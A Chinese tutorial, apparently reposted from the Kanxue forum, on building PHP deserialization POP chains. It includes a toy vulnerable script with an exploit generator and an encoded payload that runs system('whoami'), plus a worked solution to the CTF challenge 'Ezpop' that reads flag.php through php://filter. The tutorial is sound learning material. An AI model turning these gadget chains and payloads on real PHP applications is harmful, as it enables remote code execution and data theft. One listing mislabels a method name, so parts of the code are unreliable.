POP链构造学习心得
2023-1-8 18:2:25 Author: 看雪学苑(查看原文) 阅读量:22 收藏


本文为看雪论坛优秀文章

看雪论坛作者ID:H3h3QAQ

Author:H3h3QAQ
之前我写了一篇PHP反序列化的基础文章。
接下来我打算记录一下我的POP链构造学习过程。
首先我们需要一些了解一些基础知识。


POP和POP链的定义

1、什么是POP

面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。

2、POP链原理

POP链是反序列化漏洞利用中的一种常有方法,即寻找程序环境中已经定义或能够动态加载的对象中的属性或函数,将一些能够被调用的函数组合起来,达到目的的操作。


POP链构造初探

在简单的反序列化漏洞利用中,我们通常寻找在源码中找寻找可以利用的魔术方法,但是关键利用点并不是魔术方法中,而是在类的方法中,在此时如果有多个类,存在可以RCE的函数,我们就可以尝试去寻找存在我们可控的变量的POP链来将其串联起来,从而达到攻击的目的。

1、简单的POP链构造三部曲

接下来,我们给一个简单的环境,更有利于理解。
<?phpshow_source(__FILE__);class Lemon {    protected $a;    function __construct() {        $this->a = new H3();    }    function __destruct() {        $this->a->action();    }}class H3 {    function action() {        echo "I want to play basketball!";    }}class Hack {    private $data;    function H3() {        eval($this->data);    }}unserialize($_GET['eval']);
这就是一个简单的环境,我们需要利用到Hack类中的action方法中的eval()达成RCE。
接下来我们温习一下魔术方法:
__destruct()://析构函数当对象被销毁时会被自动调用__wakeup(): //unserialize()时会被自动调用__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用__call(): //在对象上下文中调用不可访问的方法时触发__callStatci(): //在静态上下文中调用不可访问的方法时触发__get(): //用于从不可访问的属性读取数据__set(): //用于将数据写入不可访问的属性__isset(): //在不可访问的属性上调用isset()或empty()触发__unset(): //在不可访问的属性上使用unset()时触发__toString(): //把类当作字符串使用时触发__construct(): //构造函数,当对象new的时候会自动调用,但在unserialize()时不会自动调用__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用
环境中用到了__construct()和__destruct()魔术方法,我们需要牢记住每个魔术方法在什么情况下被触发。
我们来分析一下Lemon类。
class Lemon {    protected $a;    function __construct() {        $this->a = new H3();    }    function __destruct() {        $this->a->action();    }}
当Lemon类被new的时候会调用__construct()从而newH3类,然后会触发__destruct()方法,把a的指传给action()。
但是H3类中并没有我们能够利用的的地方,我们接下来看Hack类。
class Hack {    private $data;    function action() {        eval($this->data);    }}
该类中有eval函数,可以被利用。
到此我们的POP链已经很明确了,利用Lemon类中的魔术方法去实例化Hack类,从而执行eval(),并且参数可控。
exp如下:
<?phpclass Lemon {    protected $a;    function __construct() {        $this->a = new Hack();    }}class Hack {    private $data="system('whoami');";}$a=new Lemon();echo urlencode(serialize($a));?>
payload:
O%3A5%3A%22Lemon%22%3A1%3A%7Bs%3A4%3A%22%00%2A%00a%22%3BO%3A4%3A%22Hack%22%3A1%3A%7Bs%3A10%3A%22%00Hack%00data%22%3Bs%3A17%3A%22system%28%27whoami%27%29%3B%22%3B%7D%7D
执行结果:
这就完成了一个简单的POP链构造。

2、CTF题目中的POP链构造

经典题目Ezpop
<?phpclass Modifier {    protected  $var;    public function append($value){        include($value);    }    public function __invoke(){ //当脚本尝试将对象调用为函数时触发        $this->append($this->var);    }} class Show{    public $source;    public $str;    public function __construct($file='index.php'){ // 当一个对象创建时被调用        $this->source = $file;        echo 'Welcome to '.$this->source."<br>";    }    public function __toString(){ //当一个对象被当作一个字符串被调用        return $this->str->source;    }     public function __wakeup(){ //使用unserialize时触发        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {            echo "hacker";            $this->source = "index.php";        }    }} class Test{    public $p;    public function __construct(){ // 当一个对象创建时被调用        $this->p = array();    }     public function __get($key){ //用于从不可访问的属性读取数据        $function = $this->p;        return $function();    }} if(isset($_GET['pop'])){    @unserialize($_GET['pop']);}else{    $a=new Show;    highlight_file(__FILE__);} ?>
为了便于观看,我把每个魔术方法都做了注释在上面。
接下来分析一下。
class Modifier {    protected  $var;    public function append($value){        include($value);    }    public function __invoke(){ //当脚本尝试将对象调用为函数时触发        $this->append($this->var);    }}
我们可以利用Modifier类来包含到flag.php。
class Show{    public $source;    public $str;    public function __construct($file='index.php'){ // 当一个对象创建时被调用        $this->source = $file;        echo 'Welcome to '.$this->source."<br>";    }    public function __toString(){ //当一个对象被当作一个字符串被调用        return $this->str->source;    }     public function __wakeup(){ //使用unserialize时触发        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {            echo "hacker";            $this->source = "index.php";        }    }}
然后再利用Show类输出flag。
接下来我们来找一下POP链。
从__wakeup()开始(或者说从Show类开始)。
public function __wakeup(){ //使用unserialize时触发    if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {        echo "hacker";        $this->source = "index.php";    }}
__wakeup()先对字符串做比较,如果$this->source为Show类,则会触发__toString()魔术方法。
public function __toString(){ //当一个对象被当作一个字符串被调用    return $this->str->source;}
__toString()方法会访问str中的source,如果str是Test类则会触发__get()。
public function __get($key){ //用于从不可访问的属性读取数据    $function = $this->p;    return $function();}
可以看到,在__get()魔术方法中,p作为函数来使用,我们可以来实例化Modifier类,从而触发__invoke()方法。
<?phpclass Modifier {    protected  $var;    public function append($value){        include($value);    }    public function __invoke(){ //当脚本尝试将对象调用为函数时触发        $this->append($this->var);    }}
至此,我们已经找到了一个完整的POP链。
然后就可以伪协议配合include来把flag读出来。
exp如下:
<?phpclass Modifier {    protected  $var = "php://filter/convert.base64-encode/resource=flag.php";}class Show{    public $source;    public $str;    public function __construct($file){        $this->source = $file;    }    public function __toString(){        return "H3";    }}class Test{    public $p;    public function __construct(){        $this->p = new Modifier();    }}$a = new Show(' ');$a->str= new Test();$h3 = new Show($a);echo urlencode(serialize($h3));
将其base64解码后成功拿到flag。

3、真实环境下的POP链构造

这里选择了CVE-2019-9081 Laravel5.7 反序列化 RCE进行复现。对于初学者,我建议复现一下Thinkphp和Laravel几个反序列化洞。在复现的过程中跟着作者的思路,可以很好的体会一下POP链子构造的方法和技巧。
因为之前已经复现过,并且在看雪发过文章了,这里就贴个链接:
CVE-2019-9081 Laravel5.7 反序列化 RCE(https://bbs.pediy.com/thread-270904.htm


总结

相信通过了本篇文章,对于对POP链构造的初学者,能够提供一个简单快速的入手方法。
POP链构造在真实环境下经常要“跳来跳去”,这就对挖掘者的耐心和技巧是个非常大的考验,但是如果成功挖掘出一条链子后,感觉非常的爽。
而面对这些,就需要大家对于魔术方法掌握牢固,并且对于这种构造思想也要灵活运用,不能太过死板,而且在挖链子的过程中也会有一些小技巧,这些就需要大家自行收集了,本篇文章就不过多赘述咯。
参考链接:
https://v0w.top/2020/03/05/unsearise-POP/#2-2-%E7%94%A8%E4%B8%80%E4%B8%AA%E5%AE%9E%E4%BE%8B%E8%AF%B4%E6%98%8E%E5%A6%82%E4%BD%95%E6%9E%84%E9%80%A0POP%E9%93%BE
http://h3geeker.top/posts/ae3250a1.html#toc-heading-2
https://bbs.pediy.com/thread-270904.htm
https://www.sec-in.com/article/1094

看雪ID:H3h3QAQ

https://bbs.kanxue.com/user-home-921448.htm

*本文由看雪论坛 H3h3QAQ 原创,转载请注明来自看雪社区

# 往期推荐

1.CVE-2022-21882提权漏洞学习笔记

2.wibu证书 - 初探

3.win10 1909逆向之APIC中断和实验

4.EMET下EAF机制分析以及模拟实现

5.sql注入学习分享

6.V8 Array.prototype.concat函数出现过的issues和他们的POC们

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458491738&idx=1&sn=36e97d25d8ed87e56b5cee711a0dbda3&chksm=b18eabd086f922c63b29476ab614b32b3dae9f3132173f5c5867ee216034e1ce05a21c9ff190#rd
如有侵权请联系:admin#unsafe.sh